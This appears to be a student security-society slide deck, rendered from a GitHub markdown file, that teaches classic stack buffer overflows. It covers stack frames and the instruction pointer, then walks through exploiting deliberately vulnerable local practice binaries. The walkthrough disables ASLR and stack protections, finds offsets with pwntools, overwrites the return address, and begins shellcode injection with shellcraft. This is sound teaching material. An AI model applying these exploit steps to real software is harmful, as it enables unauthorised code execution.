Skip to content
Permalink
master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

title: "Smashing the Stack" author: "DanG42"

Introduction

Hello COMSEC!!!

Thanks for letting me come an Talk

Stack Smashing

  • The Best1 Part of Cyber security
  • Proper Computer Science

Rough Overview

  • WTF is the Stack
  • How do We Smash it.
  • Redirecting application flow
  • "Classic" Overflows

No ROP??

  • Be patient
  • Next week with Greg (or Me)

What are Overflows

  • We end up in a bit of memory we should be in
    • Usually we get crash
    • But could change behaviour of program

Why they occur

  • A lot of it is down to "poor" programming
    • (trusting the user to input the correct thing)
  • In C/C++ Memory for variables such as strings is pre-allocated.
    • The program expects us to respect this.
    • The Compiler expects us to be good coders and understand the dangers.
    • Allows us to allocate too much space and overwrite other parts of memory
  • Its really easy to do this by mistake.
    • C / C++ Segfaults

The Stack

WTF is the Stack

  • Program memory for currently running processes
  • Keeps track of Function calls, variables etc
  • Fundamental for making programs work.
    • Otherwise we would have to load EVERY option into memory at the start.

The Stack

  • Memory is organsised as a stack (First In-Last Out)
  • Each Process is allocated a "chunk" of memory the stack frame
    • Contains Variables, Data, and Pointers to other locations
  • Efficent, and allows branching etc, to be dealt with in a sane way
    • As a new process happens, the relevant space is dynamically allocated.

Stack Frames

So How do we represent a Process.....

Stack Frames

Name Value


SP (Top item in stack) Data (I.e. Variables) BP (Base of Frame) IP (Next Instruction to run) Args (1) (Function Args) Args (2)

The IP

  • Instruction Pointer: A Register that tells the program the memory address to return to
  • Also Known as
    • EIP (32 bit)
    • RIP (64 bit)
  • If we control this we control program flow

In Action

hello.c

#include <stdio.h>

int add(int var1, int var2){
  //Add two numbers
  int total;
  total = var1+var2;
}

void main(int argv, char* argc){
  //Function call
  int total = add(10, 20);
  printf("Total is %d \n", total);
}

GDB

Can pull a program aprat in this

Start with

  • gdb program

View Assemby

  • set disassembly flavor intel
  • disass main

R2

  • There is Also Radare / Cutter
  • Though that's another talk

Allocating Space

  • Function variables are allocated space on the stack
  • We have a "Slot" of memory saved for the data

Allocating Space

int add(int var1, var2){
        #Add two numbers
        int total;
        total = var1+var2;
        }

Allocating Space

  • gdb
  • break add #Breakpoint
  • x/10c @esp #Examine data in stack
  • show vars changing

Enough Of this Lets Break things

How things break

  • We go over the space allocated for a var
  • REMEMBER that IP is below the data
  • So if we co far enough we can change what IP is...

C Strings

  • Firstly. Dont google image search them, Horrible things happen
  • Remember a string is just a pointer to a chunk of memory
    • We start at the address
    • Iterate over each character
    • Stop when we reach the end of the string (a null byte)

What happens with C Variables

  • Remember C wanted you to specify the size of arrays
    • As arguments and data are added, an appropriately sized chunk of memory is allocated on the stack
  • However, C doesn't check what you put into an variable is the right size
    • What would happen if we tried to squeeze a 10 Character string into the 5 allocated units?

First Overflow

  • Shamelessly Inspired by IO
  • FirstOverflow.c

Turning Off Protections

ALSR

$sudo su
[sudo] password for dang: 
[root@dang-laptop Code]# echo 0 > /proc/sys/kernel/randomize_va_space 
[root@dang-laptop Code]# exit
exit

Compile

apt install gcc-multlib
gcc -fno-stack-protector -m32 -g -z execstack  firstOverflow.c -o firstOverflow

Running

$ ./firstOverflow 
Overflow the Buffer
AAAAAA
Off to 0x56556209
Current Memory Address is 0x56556219
Aim for 0x565561dd
Lose :(

And Breaking Stuff

$ ./firstOverflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA....AAAAAAAA Off to 0x41414141 [2] 317135 segmentation fault (core dumped) ./firstOverflow $(python -c "print('A'*200)")

Whats happenig Here

  • 4141414141
  • Ascii for "A"
  • So we have control of where to go

Looking in GDB

  • We can use GDB for input
  • Generate with python -c "print('A'*200)"
  • gdb-peda$ run

Manually finding EIP

  • Binary Search style
    • Ok at 100
    • Breaks at 200
    • Next try is 150

Pwntools

  • Awesome Python Library for this
  • I use the python2 version (cuz bytestrings)

Getting EIP

  • cyclic 200
  • Feed this into the GDB

Getting EIP

Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x62616167 in ?? ()

Getting the Offset

dang@dang-laptop ~/Github/ComsecStacks$ cyclic -l 0x62616167
124

Breaking the Code

  • We now now have all the pieces
    • Offset
    • Location to go to...

Breaking he Code

  • Out Hint
    • Aim for 0x565561dd
  • Endianness
    • 56 55 61 dd

Making a Payload

./firstOverflow $(python2 -c "print('A'*124 + '\xdd\x61\x55\x56')")

Usnig PwnTools

from pwn import *


payload = "A"*124  #Offset
payload += p32(0x565561dd) #Address
print(payload)
## Create a connection to the binary
p = process(["firstOverflow", payload])#payload], shell=True)
p.interactive()

Review

  • Find Overflowable Cod
  • Find EIP
  • Inject Payload
  • Win

Classic Overflows

A More Complex Example

  • Its OK redirecting program flow.
  • This time we are going to try to drop a shell
    • We need to inject some code into the stack
    • Jump to a location near the top of the stack (and the executable code)
    • ....
    • Profit

Requirements

  • Offset
  • JMP Location
  • Payload

Classic Code

  • classic.c

WE could do this

  • Start Breaking in GDB

Pwn tools

p = process("/classic")

raw_input("Attach GDB")  #Hack for lack of GDB spawn in my System

p.sendline("A"*500)

Getting the Offset

  • Usual cyclic thing
$ cyclic -l 0x6361616a
236

Payloads

  • Offset
  • JMP Location
  • Payload

Using Pwntools

  • I like msfvenom, but pwn also works
context.update(arch='i386', os='linux')

# create a process
# CREATE OUR SHELLCODE
shell = shellcraft.sh()

Payloads

  • Offset
  • JMP Location
  • Payload

Where to Jump to

  • Rememeber that stuff goes into registers
  • So lets look for our data there

Footnotes

  1. IMO, but sometimes I get carried away with other shiney hacks